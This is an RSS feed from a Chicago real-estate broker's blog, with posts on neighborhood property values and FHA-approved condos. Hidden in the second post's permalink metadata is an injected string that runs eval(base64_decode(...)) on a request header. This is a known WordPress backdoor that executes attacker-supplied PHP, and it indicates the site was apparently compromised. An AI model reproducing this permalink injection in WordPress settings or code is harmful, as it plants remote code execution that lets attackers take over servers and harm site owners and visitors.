Bronzeville & Hyde Park Real Estate Blog - Chicago » HOMES

Bronzeville & Hyde Park Real Estate Blog - Chicago » HOMES https://markkillion.com/blog always informative, occasionally interesting :) Tue, 07 Jan 2020 02:43:38 +0000 en-US hourly 1 http://wordpress.org/?v=3.5 CHICAGO PROPERTY VALUES: 2011 vs 1994 https://markkillion.com/blog/2011/10/chicago-property-values-2011-vs-1994/ https://markkillion.com/blog/2011/10/chicago-property-values-2011-vs-1994/#comments Fri, 28 Oct 2011 03:31:33 +0000 Mark Killion http://markkillion.com/blog/2011/10/27/chicago-property-values-2011-vs-1994/% Continue reading →]]> CHICAGO PROPERTY VALUES: 2011 vs 1994

The Chicago magazine recently featured an interesting article
on Chicago Real Estate values. They compared today’s property
values to property values from 1994. The results were mixed.
Thanks to the Great Recession, 1 in 6 neighborhoods actually
lost value.

But, on the bright side, that means 5 out of 6 neighborhoods
increased in value. So, it appears that real estate is still
a great LONG TERM investment.

Below you will find a snapshot of this report.

______________________________________________

REPORT FOR SINGLE FAMILY HOMES

______________________________________________

HYDE PARK

Average Sales Price JUN 2010–JUN 2011

$744,133

Change in Sales Price since 1994

231%

–===========================================

KENWOOD

Average Sales Price JUN 2010–JUN 2011

$689,958

Change in Sales Price since 1994

346%

–==========================================

GRAND BOULEVARD (aka BRONZEVILLE)

Average Sales Price JUN 2010–JUN 2011

$173,962

Change in Sales Price since 1994

222%

–==========================================

MORGAN PARK

Average Sales Price JUN 2010–JUN 2011

$121,092

Change in Sales Price since 1994

20%
–===========================================

SOUTH SHORE

Average Sales Price JUN 2010–JUN 2011

$111,351

Change in Sales Price since 1994

46%

–===========================================

CHATHAM

Average Sales Price JUN 2010–JUN 2011

$91,453

Change in Sales Price since 1994

11%

–===========================================
If you are interested in stats for a different neighborhood,
or a suburb, just send me a note!
–===========================================

Until the next time,

Mark Killion
Real Estate Broker
Century 21 Affiliated
5200 S. Harper Ave
Chicago, IL 60615
24 Hour Voice Mail: 312-242-1822
Send me a note!

Visit me online: www.773property.com

EQUAL HOUSING OPPORTUNITY

]]> https://markkillion.com/blog/2011/10/chicago-property-values-2011-vs-1994/feed/ 0 FHA Approved Condos https://markkillion.com/blog/2010/08/fha-approved-condos/ https://markkillion.com/blog/2010/08/fha-approved-condos/#comments Mon, 23 Aug 2010 02:51:34 +0000 Mark Killion http://markkillion.com/blog/2010/08/22/fha-approved-condos/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ Continue reading →]]> Many potential buyers don’t realize that most condos are NOT
FHA approved. FHA prefers to insure loans on single-family homes,
two-to-four unit properties, and some mixed-use properties.
So in order to buy most condos, you will have to use conventional
financing. Conventional financing requires a 20% down payment.
FHA only requires 3 1/2 % down. So that is a HUGE difference.
Many buyers simply don’t have that much cash available to use
as a down payment.

However, you can often find a handful of condos on the market
that are actually in FHA approved buildings.

If you are looking for a FHA approved condo, please send me a note
to mark@markkillion.com

Until the next time,

Mark Killion
Real Estate Broker
Century 21 Affiliated
5200 S. Harper Ave
Chicago, IL 60615
24 Hour Voice Mail: 312-242-1822
Send me a note!

Visit me online: www.773property.com

EQUAL HOUSING OPPORTUNITY

]]> https://markkillion.com/blog/2010/08/fha-approved-condos/feed/ 1